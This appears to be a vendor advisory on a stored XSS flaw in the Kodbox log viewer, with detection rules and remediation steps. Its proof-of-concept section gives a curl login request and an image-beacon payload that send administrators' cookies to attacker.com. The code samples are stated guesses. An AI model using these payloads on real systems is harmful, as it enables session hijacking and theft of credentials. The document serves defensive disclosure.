CVE-2023-52068

Executive Summary

CVE-2023-52068 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Kodbox v1.43. The flaw resides in the handling of operation and login logs, allowing an attacker to inject arbitrary JavaScript code that is executed when an administrator views the logs. This can lead to session hijacking, credential theft, or further compromise of the Kodbox instance. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as medium severity based on the vector. No official patch has been released at this time.

Supply Chain & Package Security

Kodbox is a PHP-based web application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own log handling logic. Users should verify the integrity of their Kodbox installation and monitor for any updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the log)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium. Exploitation requires user interaction but no authentication, making it a viable phishing or social engineering vector.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. Kodbox logs user operations and login attempts. When an attacker performs an action (e.g., a failed login) with a crafted payload in the username or other loggable field, the payload is stored in the log database. When an administrator accesses the log viewer, the payload is rendered without proper sanitization, executing the attacker's JavaScript in the admin's browser context.

Root Cause: Lack of output encoding or sanitization when displaying log entries. The application likely uses echo or similar without htmlspecialchars() or equivalent.

Attack Flow:

1. Attacker sends a request to Kodbox with a malicious payload in a loggable parameter (e.g., username: <script>alert('XSS')</script>).
2. Kodbox logs the request, storing the payload.
3. Administrator navigates to the operation or login logs.
4. The payload executes in the admin's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Kodbox v1.43):

// In log display function
echo $log_entry['username'];

Patched Code (Hypothetical):

// In log display function
echo htmlspecialchars($log_entry['username'], ENT_QUOTES, 'UTF-8');

No official patch is available. Users must manually apply output encoding to all log display points.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

1. Send a login request with a malicious username:

curl -X POST http://target.kodbox/index.php?m=user&a=login \
  -d "username=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&password=test"

2. Wait for an administrator to view the logs.
3. The admin's cookies are exfiltrated to the attacker's server.

Advanced Payload:

<script>
new Image().src='http://attacker.com/steal?data='+document.cookie;
</script>

Blue Team

Detection:

• Monitor for unusual characters in login parameters (e.g., <script>, onerror=, javascript:).
• Alert on log entries containing HTML tags or JavaScript event handlers.
• Use Web Application Firewall (WAF) rules to block XSS payloads in loggable fields.

Hunting:

• Search logs for patterns like %3Cscript%3E or <script>.
• Review recent log entries for anomalous usernames or operation descriptions.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the Kodbox server.
• Logs: Log entries containing <script>, onerror=, javascript:, or base64-encoded payloads.
• File: Modified log files with injected JavaScript.
• Behavior: Unexpected redirects or pop-ups when viewing logs.

Detection Engineering

YARA Rule

rule CVE_2023_52068_Kodbox_XSS {
    meta:
        description = "Detects XSS payloads in Kodbox log entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-52068"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Kodbox Stored XSS in Logs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in Kodbox log entries
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: kodbox
detection:
    selection:
        - username|contains: '<script'
        - username|contains: 'onerror='
        - username|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in usernames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-52068 Kodbox XSS Payload in Login"; flow:to_server; content:"username="; nocase; pcre:"/username=[^&]*<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable log viewing for non-admin users if possible.
2. Apply input validation to all loggable fields (e.g., reject HTML tags).
3. Implement output encoding in the log viewer (e.g., htmlspecialchars() in PHP).
4. Use a WAF to block XSS payloads.

Long-term Fix:

• Upgrade to a patched version when available.
• Conduct a code review of all log-related functions.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Manually patch the log display function to escape HTML entities.

Valters IT
Securing Digital Frontiers